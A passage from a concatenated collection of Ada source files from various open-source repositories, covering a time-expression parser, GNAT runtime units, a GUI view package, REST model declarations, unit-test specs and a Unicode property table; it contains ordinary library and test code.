function Parse (Input : String;
Symbols : Symbol_Table) return Symbolic_Instant;
function Parse (Input : String;
Symbols : Symbol_Table) return Symbolic_Duration;
private
procedure Read_Scalar (Input : in String;
Success : out Boolean;
Consumed : out Natural;
Result : out Scalar_Type);
package Internal_Parsing is
new Time_Expr.Parsing (Read_Scalar => Read_Scalar,
Read_Identifier => ID_Readers.Reader,
Join => Join);
type Symbol_Table is
record
T : Internal_Parsing.ID_Table_Type;
end record;
type Parameter_Count is
record
C : Internal_Parsing.Parameter_Count;
end record;
function Exactly (N : Natural) return Parameter_Count
is (C => Internal_Parsing.Exactly (N));
function At_Least (N : Natural) return Parameter_Count
is (C => Internal_Parsing.At_Least (N));
function Between (Min, Max : Natural) return Parameter_Count
is (C => Internal_Parsing.Between (Min, max));
Any_Number : constant Parameter_Count := (C => Internal_Parsing.Any_Number);
No_Parameter : constant Parameter_Count := (C => Internal_Parsing.No_Parameter);
function Parse (Input : String;
Symbols : Symbol_Table) return Symbolic_Instant
is (T => Internal_Parsing.Parse (Input => Input,
ID_Table => Symbols.T,
On_Unknown_ID => Internal_Parsing.Die,
On_Multiple_Match => Internal_Parsing.Die));
function Parse (Input : String;
Symbols : Symbol_Table) return Symbolic_Duration
is (D => Internal_Parsing.Parse (Input => Input,
ID_Table => Symbols.T,
On_Unknown_ID => Internal_Parsing.Die,
On_Multiple_Match => Internal_Parsing.Die));
end EU_Projects.Times.Time_Expressions.Parsing;
|
sungyeon/drake | Ada | 138 | ads | pragma License (Unrestricted);
-- implementation unit required by compiler
package System.Strings is
pragma Pure;
end System.Strings;
|
BrickBot/Bound-T-H8-300 | Ada | 2,805 | adb | -- Flow.Pruning.Opt (body)
--
-- A component of the Bound-T Worst-Case Execution Time Tool.
--
-------------------------------------------------------------------------------
-- Copyright (c) 1999 .. 2015 Tidorum Ltd
-- All rights reserved.
--
-- Redistribution and use in source and binary forms, with or without
-- modification, are permitted provided that the following conditions are met:
--
-- 1. Redistributions of source code must retain the above copyright notice, this
-- list of conditions and the following disclaimer.
-- 2. Redistributions in binary form must reproduce the above copyright notice,
-- this list of conditions and the following disclaimer in the documentation
-- and/or other materials provided with the distribution.
--
-- This software is provided by the copyright holders and contributors "as is" and
-- any express or implied warranties, including, but not limited to, the implied
-- warranties of merchantability and fitness for a particular purpose are
-- disclaimed. In no event shall the copyright owner or contributors be liable for
-- any direct, indirect, incidental, special, exemplary, or consequential damages
-- (including, but not limited to, procurement of substitute goods or services;
-- loss of use, data, or profits; or business interruption) however caused and
-- on any theory of liability, whether in contract, strict liability, or tort
-- (including negligence or otherwise) arising in any way out of the use of this
-- software, even if advised of the possibility of such damage.
--
-- Other modules (files) of this software composition should contain their
-- own copyright statements, which may have different copyright and usage
-- conditions. The above conditions apply to this file.
-------------------------------------------------------------------------------
--
-- $Revision: 1.2 $
-- $Date: 2015/10/24 20:05:48 $
--
-- $Log: flow-pruning-opt.adb,v $
-- Revision 1.2 2015/10/24 20:05:48 niklas
-- Moved to free licence.
--
-- Revision 1.1 2011-08-31 04:17:12 niklas
-- Added for BT-CH-0222: Option registry. Option -dump. External help files.
--
with Options.Bool;
with Options.Groups;
package body Flow.Pruning.Opt is
Prunes : constant Options.Group_Name_T := Options.Group ("pruning");
--
-- The options related to flow-graph pruning.
begin
Options.Register (
Option => Prune_Opt'access,
Name => "prune",
Groups => (Prunes, Options.Groups.Analysis));
Options.Register (
Option => Warn_Unreachable_Opt'access,
Name => Options.Warn_Item ("reach"),
Groups => (Prunes, Options.Groups.Warn));
Options.Register (
Option => Trace_Opt'access,
Name => Options.Trace_Item ("prune"),
Groups => (Prunes, Options.Groups.Trace));
end Flow.Pruning.Opt;
|
zhmu/ananas | Ada | 424 | adb | -- { dg-do compile }
procedure Raise_Expr is
E : exception;
type T is tagged limited null record;
type TC is new T with null record;
function F0 return Boolean is
begin
return raise E;
end;
function F return T'Class is
TT : T;
begin
return raise E; -- Causes compile-time crash
end F;
begin
declare
O : T'class := F;
begin
null;
end;
end Raise_Expr;
|
zhmu/ananas | Ada | 1,941 | ads | ------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- G N A T L S --
-- --
-- S p e c --
-- --
-- Copyright (C) 1992-2022, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING3. If not, go to --
-- http://www.gnu.org/licenses for a complete copy of the license. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- GNAT Library browser
procedure Gnatls;
|
DrenfongWong/tkm-rpc | Ada | 437 | ads | with Ada.Unchecked_Conversion;
package Tkmrpc.Request.Ike.Dh_Get_Shared_Secret.Convert is
function To_Request is new Ada.Unchecked_Conversion (
Source => Dh_Get_Shared_Secret.Request_Type,
Target => Request.Data_Type);
function From_Request is new Ada.Unchecked_Conversion (
Source => Request.Data_Type,
Target => Dh_Get_Shared_Secret.Request_Type);
end Tkmrpc.Request.Ike.Dh_Get_Shared_Secret.Convert;
|
jrcarter/Ada_GUI | Ada | 11,076 | adb | -- Ada_GUI implementation based on Gnoga. Adapted 2021
-- --
-- GNOGA - The GNU Omnificent GUI for Ada --
-- --
-- G N O G A . G U I . V I E W --
-- --
-- B o d y --
-- --
-- --
-- Copyright (C) 2014 David Botton --
-- --
-- This library is free software; you can redistribute it and/or modify --
-- it under terms of the GNU General Public License as published by the --
-- Free Software Foundation; either version 3, or (at your option) any --
-- later version. This library is distributed in the hope that it will be --
-- useful, but WITHOUT ANY WARRANTY; without even the implied warranty of --
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are --
-- granted additional permissions described in the GCC Runtime Library --
-- Exception, version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- As a special exception, if other files instantiate generics from this --
-- unit, or you link this unit with other files to produce an executable, --
-- this unit does not by itself cause the resulting executable to be --
-- covered by the GNU General Public License. This exception does not --
-- however invalidate any other reasons why the executable file might be --
-- covered by the GNU Public License. --
-- --
-- For more information please go to http://www.gnoga.com --
------------------------------------------------------------------------------
with Ada.Strings.Fixed;
with Ada.Strings.Maps.Constants;
with Ada_GUI.Gnoga.Gui.Document;
with Ada_GUI.Gnoga.Gui.Element.Common;
with Ada_GUI.Gnoga.Server.Connection;
with Ada_GUI.Gnoga.Server.Template_Parser.Simple;
package body Ada_GUI.Gnoga.Gui.View is
--------------
-- Finalize --
--------------
overriding
procedure Finalize (Object : in out View_Base_Type) is
begin
if not Gnoga.Server.Connection.Shutting_Down then
for i in
Object.Child_Array.First_Index .. Object.Child_Array.Last_Index
loop
if Object.Child_Array.Element (i).Dynamic then
Object.Child_Array.Element (i).Free;
end if;
end loop;
end if;
Gnoga.Gui.Element.Element_Type (Object).Finalize;
end Finalize;
------------
-- Create --
------------
procedure Create
(View : in out View_Type;
Parent : in out Gnoga.Gui.Base_Type'Class;
ID : in String := "")
is
begin
View.Create_From_HTML (Parent, "<div />", ID);
end Create;
--------------------
-- On_Child_Added --
--------------------
overriding
procedure On_Child_Added (View : in out View_Base_Type;
Child : in out Gnoga.Gui.Base_Type'Class)
is
use Gnoga.Gui.Element;
begin
if Child in Element_Type'Class then
if Element_Type (Child).Auto_Place then
Element_Type (Child).Place_Inside_Bottom_Of (View);
end if;
end if;
if Child.Dynamic then
View.Child_Array.Append (Child'Unchecked_Access);
end if;
end On_Child_Added;
------------------
-- Fill_Parent --
------------------
procedure Fill_Parent (View : in out View_Base_Type) is
use Gnoga.Gui.Element;
begin
View.Position (Absolute);
View.Box_Height ("100%");
View.Box_Width ("100%");
if View.Height = 0 then
View.Position (Relative);
end if;
end Fill_Parent;
--------------
-- Put_Line --
--------------
procedure Put_Line (View : in out View_Base_Type;
Message : in String;
Class : in String := "";
ID : in String := "")
is
D : Gnoga.Gui.Element.Common.DIV_Type;
begin
D.Create (View, Message, ID);
if Class /= "" then
D.Class_Name (Class);
end if;
end Put_Line;
---------
-- Put --
---------
procedure Put (View : in out View_Base_Type;
Message : in String;
Class : in String := "";
ID : in String := "")
is
S : Gnoga.Gui.Element.Common.Span_Type;
begin
S.Create (View, Message, ID);
if Class /= "" then
S.Class_Name (Class);
end if;
end Put;
--------------
-- Put_HTML --
--------------
procedure Put_HTML (View : in out View_Base_Type;
HTML : in String;
Class : in String := "";
ID : in String := "")
is
D : Gnoga.Gui.Element.Element_Type;
begin
D.Create_From_HTML (View, Escape_Quotes (HTML), ID);
if Class /= "" then
D.Class_Name (Class);
end if;
end Put_HTML;
--------------
-- New_Line --
--------------
procedure New_Line (View : in out View_Base_Type) is
begin
View.Put_HTML ("<br />");
end New_Line;
---------------------
-- Horizontal_Rule --
---------------------
procedure Horizontal_Rule (View : in out View_Base_Type) is
begin
View.Put_HTML ("<hr />");
end Horizontal_Rule;
---------------
-- Load_File --
---------------
procedure Load_File (View : in out View_Base_Type;
File_Name : in String;
Class : in String := "";
ID : in String := "")
is
S : constant String :=
Gnoga.Server.Template_Parser.Simple.Load_View (File_Name);
begin
View.Put_Line (S, Class, ID);
end Load_File;
---------------
-- Load_HTML --
---------------
procedure Load_HTML (View : in out View_Base_Type;
File_Name : in String;
Class : in String := "";
ID : in String := "")
is
use Ada.Strings.Fixed;
use Ada.Strings.Maps.Constants;
S : constant String :=
Gnoga.Server.Template_Parser.Simple.Load_View (File_Name);
B : constant Natural := Index (Source => S,
Pattern => "<body",
Mapping => Lower_Case_Map);
T : constant Natural := Index (Source => S,
Pattern => ">",
From => B);
E : constant Natural := Index (Source => S,
Pattern => "</body",
Mapping => Lower_Case_Map);
begin
if B > 0 and E > 0 then
View.Put_HTML (S (T + 1 .. E - 1), Class, ID);
end if;
end Load_HTML;
--------------
-- Load_CSS --
--------------
procedure Load_CSS (View : in out View_Base_Type;
URL : in String)
is
Document : Gnoga.Gui.Document.Document_Type;
begin
Document.Attach (View.Connection_ID);
Document.Head_Element.jQuery_Execute
("append ('" & Escape_Quotes ("<link rel='stylesheet' href='" &
Escape_Inner_Quotes (URL) & "' />") & "')");
end Load_CSS;
-------------------
-- Load_CSS_File --
-------------------
procedure Load_CSS_File (View : in out View_Base_Type;
File_Name : in String)
is
S : constant String :=
Gnoga.Server.Template_Parser.Simple.Load_View (File_Name);
Document : Gnoga.Gui.Document.Document_Type;
begin
Document.Attach (View.Connection_ID);
Document.Head_Element.jQuery_Execute
("append ('<style>" & Escape_Quotes (S) & "</style>'");
end Load_CSS_File;
-----------------
-- Add_Element --
-----------------
procedure Add_Element
(View : in out View_Base_Type;
Name : in String;
Element : Gnoga.Gui.Element.Pointer_To_Element_Class)
is
begin
View.Element_Map.Include (Key => Name,
New_Item => Element);
end Add_Element;
-----------------
-- New_Element --
-----------------
function New_Element
(View : access View_Base_Type;
Name : String;
Element : Gnoga.Gui.Element.Pointer_To_Element_Class)
return Gnoga.Gui.Element.Pointer_To_Element_Class
is
begin
View.Add_Element (Name, Element);
Element.Dynamic;
return Element.all'Unrestricted_Access;
end New_Element;
---------
-- Add --
---------
function Add
(View : access View_Base_Type;
Element : access Gnoga.Gui.Element.Element_Type'Class)
return Gnoga.Gui.Element.Pointer_To_Element_Class
is
pragma Unreferenced (View);
begin
Element.Dynamic;
return Element.all'Unrestricted_Access;
end Add;
-------------
-- Element --
-------------
function Element (View : View_Base_Type; Name : String)
return Gnoga.Gui.Element.Pointer_To_Element_Class
is
begin
if View.Element_Map.Contains (Name) then
return View.Element_Map.Element (Name);
else
return null;
end if;
end Element;
-------------------
-- Element_Names --
-------------------
function Element_Names (View : View_Base_Type)
return Gnoga.Data_Array_Type
is
Names : Gnoga.Data_Array_Type;
procedure Add_Name (C : in Gnoga.Gui.Element.Element_Type_Maps.Cursor);
procedure Add_Name (C : in Gnoga.Gui.Element.Element_Type_Maps.Cursor) is
begin
Names.Append (String'(Gnoga.Gui.Element.Element_Type_Maps.Key (C)));
end Add_Name;
begin
View.Element_Map.Iterate (Add_Name'Access);
return Names;
end Element_Names;
end Ada_GUI.Gnoga.Gui.View;
|
darkestkhan/xdg | Ada | 1,796 | ads | ------------------------------------------------------------------------------
-- EMAIL: <[email protected]> --
-- License: ISC License (see COPYING file) --
-- --
-- Copyright © 2015 darkestkhan --
------------------------------------------------------------------------------
-- Permission to use, copy, modify, and/or distribute this software for any --
-- purpose with or without fee is hereby granted, provided that the above --
-- copyright notice and this permission notice appear in all copies. --
-- --
-- The software is provided "as is" and the author disclaims all warranties --
-- with regard to this software including all implied warranties of --
-- merchantability and fitness. In no event shall the author be liable for --
-- any special, direct, indirect, or consequential damages or any damages --
-- whatsoever resulting from loss of use, data or profits, whether in an --
-- action of contract, negligence or other tortious action, arising out of --
-- or in connection with the use or performance of this software. --
------------------------------------------------------------------------------
private package XDG.Defaults is
-- Directory separator character.
Separator: constant Character := '/';
Home : constant String := ".local/share/";
Config: constant String := ".config/";
Cache : constant String := ".cache/";
Data_Dirs : constant String := "/usr/local/share/:/usr/share/";
Config_Dirs : constant String := "/etc/xdg/";
end XDG.Defaults;
|
Gabriel-Degret/adalib | Ada | 1,254 | ads | -- Standard Ada library specification
-- Copyright (c) 2003-2018 Maxim Reznik <[email protected]>
-- Copyright (c) 2004-2016 AXE Consultants
-- Copyright (c) 2004, 2005, 2006 Ada-Europe
-- Copyright (c) 2000 The MITRE Corporation, Inc.
-- Copyright (c) 1992, 1993, 1994, 1995 Intermetrics, Inc.
-- SPDX-License-Identifier: BSD-3-Clause and LicenseRef-AdaReferenceManual
---------------------------------------------------------------------------
package Ada.Finalization is
pragma Preelaborate (Finalization);
pragma Remote_Types (Finalization);
type Controlled is abstract tagged private;
pragma Preelaborable_Initialization (Controlled);
procedure Initialize (Object : in out Controlled) is null;
procedure Adjust (Object : in out Controlled) is null;
procedure Finalize (Object : in out Controlled) is null;
type Limited_Controlled is abstract tagged limited private;
pragma Preelaborable_Initialization (Limited_Controlled);
procedure Initialize (Object : in out Limited_Controlled) is null;
procedure Finalize (Object : in out Limited_Controlled) is null;
private
pragma Import (Ada, Controlled);
pragma Import (Ada, Limited_Controlled);
end Ada.Finalization;
|
zhmu/ananas | Ada | 3,781 | adb | ------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- S Y S T E M . W C H _ C O N --
-- --
-- B o d y --
-- --
-- Copyright (C) 2005-2022, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
package body System.WCh_Con is
----------------------------
-- Get_WC_Encoding_Method --
----------------------------
function Get_WC_Encoding_Method (C : Character) return WC_Encoding_Method is
begin
for Method in WC_Encoding_Method loop
if C = WC_Encoding_Letters (Method) then
return Method;
end if;
end loop;
raise Constraint_Error;
end Get_WC_Encoding_Method;
function Get_WC_Encoding_Method (S : String) return WC_Encoding_Method is
begin
if S = "hex" then
return WCEM_Hex;
elsif S = "upper" then
return WCEM_Upper;
elsif S = "shift_jis" then
return WCEM_Shift_JIS;
elsif S = "euc" then
return WCEM_EUC;
elsif S = "utf8" then
return WCEM_UTF8;
elsif S = "brackets" then
return WCEM_Brackets;
else
raise Constraint_Error;
end if;
end Get_WC_Encoding_Method;
--------------------------
-- Is_Start_Of_Encoding --
--------------------------
function Is_Start_Of_Encoding
(C : Character;
EM : WC_Encoding_Method) return Boolean
is
begin
return (EM in WC_Upper_Half_Encoding_Method
and then Character'Pos (C) >= 16#80#)
or else (EM in WC_ESC_Encoding_Method and then C = ASCII.ESC);
end Is_Start_Of_Encoding;
end System.WCh_Con;
|
davidkristola/vole | Ada | 5,359 | ads | with AUnit;
with AUnit.Simple_Test_Cases;
with kv.avm.Assemblers;
with kv.avm.Instances;
with kv.avm.Machines;
with kv.avm.Memories;
with kv.avm.Processors;
package kv.avm.Asm_Tests is
type Test_A1 is new AUnit.Simple_Test_Cases.Test_Case with null record;
overriding
function Name (T : Test_A1) return AUnit.Message_String;
overriding
procedure Run_Test (T : in out Test_A1);
type Test_A2 is new AUnit.Simple_Test_Cases.Test_Case with null record;
overriding
function Name (T : Test_A2) return AUnit.Message_String;
overriding
procedure Run_Test (T : in out Test_A2);
type Test_A3 is new AUnit.Simple_Test_Cases.Test_Case with null record;
overriding
function Name (T : Test_A3) return AUnit.Message_String;
overriding
procedure Run_Test (T : in out Test_A3);
type Test_A4 is new AUnit.Simple_Test_Cases.Test_Case with null record;
overriding
function Name (T : Test_A4) return AUnit.Message_String;
overriding
procedure Run_Test (T : in out Test_A4);
type Test_A5 is new AUnit.Simple_Test_Cases.Test_Case with null record;
overriding
function Name (T : Test_A5) return AUnit.Message_String;
overriding
procedure Run_Test (T : in out Test_A5);
type Test_A6 is new AUnit.Simple_Test_Cases.Test_Case with null record;
overriding
function Name (T : Test_A6) return AUnit.Message_String;
overriding
procedure Run_Test (T : in out Test_A6);
type Test_A7 is new AUnit.Simple_Test_Cases.Test_Case with null record;
overriding
function Name (T : Test_A7) return AUnit.Message_String;
overriding
procedure Run_Test (T : in out Test_A7);
type Test_A8 is new AUnit.Simple_Test_Cases.Test_Case with null record;
overriding
function Name (T : Test_A8) return AUnit.Message_String;
overriding
procedure Run_Test (T : in out Test_A8);
type Test_A9 is new AUnit.Simple_Test_Cases.Test_Case with null record;
overriding
function Name (T : Test_A9) return AUnit.Message_String;
overriding
procedure Run_Test (T : in out Test_A9);
type Test_A10 is new AUnit.Simple_Test_Cases.Test_Case with null record;
overriding
function Name (T : Test_A10) return AUnit.Message_String;
overriding
procedure Run_Test (T : in out Test_A10);
type Superclass_Test_Case is abstract new AUnit.Simple_Test_Cases.Test_Case with
record
Builder : aliased kv.avm.Assemblers.Assembler_Type;
--VM : aliased kv.avm.Machines.Machine_Type; -- This leads to uninitialized attribute of VM
CPU : aliased kv.avm.Processors.Processor_Type;
Instance_Factory : aliased kv.avm.Instances.Instance_Factory;
Registers : aliased kv.avm.Memories.Register_Array_Type;
end record;
overriding
procedure Set_Up (T : in out Superclass_Test_Case);
overriding
procedure Tear_Down (T : in out Superclass_Test_Case);
not overriding
procedure Load (T : in out Superclass_Test_Case; Volea : in String);
not overriding
procedure Prep_VM (T : in out Superclass_Test_Case; VM : access kv.avm.Machines.Machine_Type; Start_Actor : in String; Start_Message : in String);
not overriding
procedure Run_VM (T : in out Superclass_Test_Case; VM : access kv.avm.Machines.Machine_Type; Steps : in Positive);
type Test_A11 is new Superclass_Test_Case with null record;
overriding
function Name (T : Test_A11) return AUnit.Message_String;
overriding
procedure Run_Test (T : in out Test_A11);
type Test_A12 is new Superclass_Test_Case with null record;
overriding
function Name (T : Test_A12) return AUnit.Message_String;
overriding
procedure Run_Test (T : in out Test_A12);
type Test_A13 is new Superclass_Test_Case with null record;
overriding
function Name (T : Test_A13) return AUnit.Message_String;
overriding
procedure Run_Test (T : in out Test_A13);
type Test_A14 is new AUnit.Simple_Test_Cases.Test_Case with null record;
overriding
function Name (T : Test_A14) return AUnit.Message_String;
overriding
procedure Run_Test (T : in out Test_A14);
type Test_A15 is new AUnit.Simple_Test_Cases.Test_Case with null record;
overriding
function Name (T : Test_A15) return AUnit.Message_String;
overriding
procedure Run_Test (T : in out Test_A15);
type Test_A16 is new AUnit.Simple_Test_Cases.Test_Case with null record;
overriding
function Name (T : Test_A16) return AUnit.Message_String;
overriding
procedure Run_Test (T : in out Test_A16);
type Test_A17 is new Superclass_Test_Case with null record;
overriding
function Name (T : Test_A17) return AUnit.Message_String;
overriding
procedure Run_Test (T : in out Test_A17);
type Test_A18 is new AUnit.Simple_Test_Cases.Test_Case with null record;
overriding
function Name (T : Test_A18) return AUnit.Message_String;
overriding
procedure Run_Test (T : in out Test_A18);
type Test_A19 is new AUnit.Simple_Test_Cases.Test_Case with null record;
overriding
function Name (T : Test_A19) return AUnit.Message_String;
overriding
procedure Run_Test (T : in out Test_A19);
type Test_A20 is new AUnit.Simple_Test_Cases.Test_Case with null record;
overriding
function Name (T : Test_A20) return AUnit.Message_String;
overriding
procedure Run_Test (T : in out Test_A20);
end kv.avm.Asm_Tests;
|
stcarrez/helios | Ada | 4,840 | ads | -- Hyperion API
-- Hyperion Monitoring API The monitoring agent is first registered so that the server knows it as well as its security key. Each host are then registered by a monitoring agent.
--
-- The version of the OpenAPI document: 1.0.0
-- Contact: [email protected]
--
-- NOTE: This package is auto generated by OpenAPI-Generator 4.1.0-SNAPSHOT.
-- https://openapi-generator.tech
-- Do not edit the class manually.
with Swagger.Streams;
with Ada.Containers.Vectors;
package Helios.Rest.Models is
type InlineObject1_Type is
record
Name : Swagger.UString;
Ip : Swagger.UString;
Host_Key : Swagger.UString;
Agent_Key : Swagger.UString;
Agent_Id : Integer;
end record;
package InlineObject1_Type_Vectors is
new Ada.Containers.Vectors (Index_Type => Positive,
Element_Type => InlineObject1_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in InlineObject1_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in InlineObject1_Type_Vectors.Vector);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out InlineObject1_Type);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out InlineObject1_Type_Vectors.Vector);
type InlineObject_Type is
record
Name : Swagger.UString;
Ip : Swagger.UString;
Agent_Key : Swagger.UString;
end record;
package InlineObject_Type_Vectors is
new Ada.Containers.Vectors (Index_Type => Positive,
Element_Type => InlineObject_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in InlineObject_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in InlineObject_Type_Vectors.Vector);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out InlineObject_Type);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out InlineObject_Type_Vectors.Vector);
type Agent_Type is
record
Id : Swagger.Long;
Name : Swagger.UString;
Ip : Swagger.UString;
Create_Date : Swagger.Datetime;
Key : Swagger.UString;
Status : Swagger.UString;
end record;
package Agent_Type_Vectors is
new Ada.Containers.Vectors (Index_Type => Positive,
Element_Type => Agent_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in Agent_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in Agent_Type_Vectors.Vector);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out Agent_Type);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out Agent_Type_Vectors.Vector);
type Host_Type is
record
Id : Swagger.Long;
Name : Swagger.UString;
Ip : Swagger.UString;
Create_Date : Swagger.Datetime;
Done_Date : Swagger.Nullable_Date;
Status : Swagger.Nullable_UString;
end record;
package Host_Type_Vectors is
new Ada.Containers.Vectors (Index_Type => Positive,
Element_Type => Host_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in Host_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in Host_Type_Vectors.Vector);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out Host_Type);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out Host_Type_Vectors.Vector);
end Helios.Rest.Models;
|
reznikmm/matreshka | Ada | 7,984 | ads | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Localization, Internationalization, Globalization for Ada --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2012-2015, Vadim Godunko <[email protected]> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
pragma Restrictions (No_Elaboration_Code);
-- GNAT: enforce generation of preinitialized data section instead of
-- generation of elaboration code.
package Matreshka.Internals.Unicode.Ucd.Core_0115 is
pragma Preelaborate;
Group_0115 : aliased constant Core_Second_Stage
:= (16#80# .. 16#AE# => -- 011580 .. 0115AE
(Other_Letter, Neutral,
Other, A_Letter, O_Letter, Alphabetic,
(Alphabetic
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)),
16#AF# => -- 0115AF
(Spacing_Mark, Neutral,
Extend, Extend, Extend, Combining_Mark,
(Other_Alphabetic
| Other_Grapheme_Extend
| Alphabetic
| Grapheme_Extend
| ID_Continue
| XID_Continue => True,
others => False)),
16#B0# .. 16#B1# => -- 0115B0 .. 0115B1
(Spacing_Mark, Neutral,
Spacing_Mark, Extend, Extend, Combining_Mark,
(Other_Alphabetic
| Alphabetic
| Grapheme_Base
| ID_Continue
| XID_Continue => True,
others => False)),
16#B2# .. 16#B5# => -- 0115B2 .. 0115B5
(Nonspacing_Mark, Neutral,
Extend, Extend, Extend, Combining_Mark,
(Other_Alphabetic
| Alphabetic
| Case_Ignorable
| Grapheme_Extend
| ID_Continue
| XID_Continue => True,
others => False)),
16#B8# .. 16#BB# => -- 0115B8 .. 0115BB
(Spacing_Mark, Neutral,
Spacing_Mark, Extend, Extend, Combining_Mark,
(Other_Alphabetic
| Alphabetic
| Grapheme_Base
| ID_Continue
| XID_Continue => True,
others => False)),
16#BC# .. 16#BD# => -- 0115BC .. 0115BD
(Nonspacing_Mark, Neutral,
Extend, Extend, Extend, Combining_Mark,
(Other_Alphabetic
| Alphabetic
| Case_Ignorable
| Grapheme_Extend
| ID_Continue
| XID_Continue => True,
others => False)),
16#BE# => -- 0115BE
(Spacing_Mark, Neutral,
Spacing_Mark, Extend, Extend, Combining_Mark,
(Other_Alphabetic
| Alphabetic
| Grapheme_Base
| ID_Continue
| XID_Continue => True,
others => False)),
16#BF# => -- 0115BF
(Nonspacing_Mark, Neutral,
Extend, Extend, Extend, Combining_Mark,
(Diacritic
| Case_Ignorable
| Grapheme_Extend
| Grapheme_Link
| ID_Continue
| XID_Continue => True,
others => False)),
16#C0# => -- 0115C0
(Nonspacing_Mark, Neutral,
Extend, Extend, Extend, Combining_Mark,
(Diacritic
| Case_Ignorable
| Grapheme_Extend
| ID_Continue
| XID_Continue => True,
others => False)),
16#C1# => -- 0115C1
(Other_Punctuation, Neutral,
Other, Other, Other, Break_Before,
(Grapheme_Base => True,
others => False)),
16#C2# .. 16#C3# => -- 0115C2 .. 0115C3
(Other_Punctuation, Neutral,
Other, Other, S_Term, Break_After,
(STerm
| Terminal_Punctuation
| Grapheme_Base => True,
others => False)),
16#C4# .. 16#C5# => -- 0115C4 .. 0115C5
(Other_Punctuation, Neutral,
Other, Other, Other, Exclamation,
(Terminal_Punctuation
| Grapheme_Base => True,
others => False)),
16#C6# .. 16#C8# => -- 0115C6 .. 0115C8
(Other_Punctuation, Neutral,
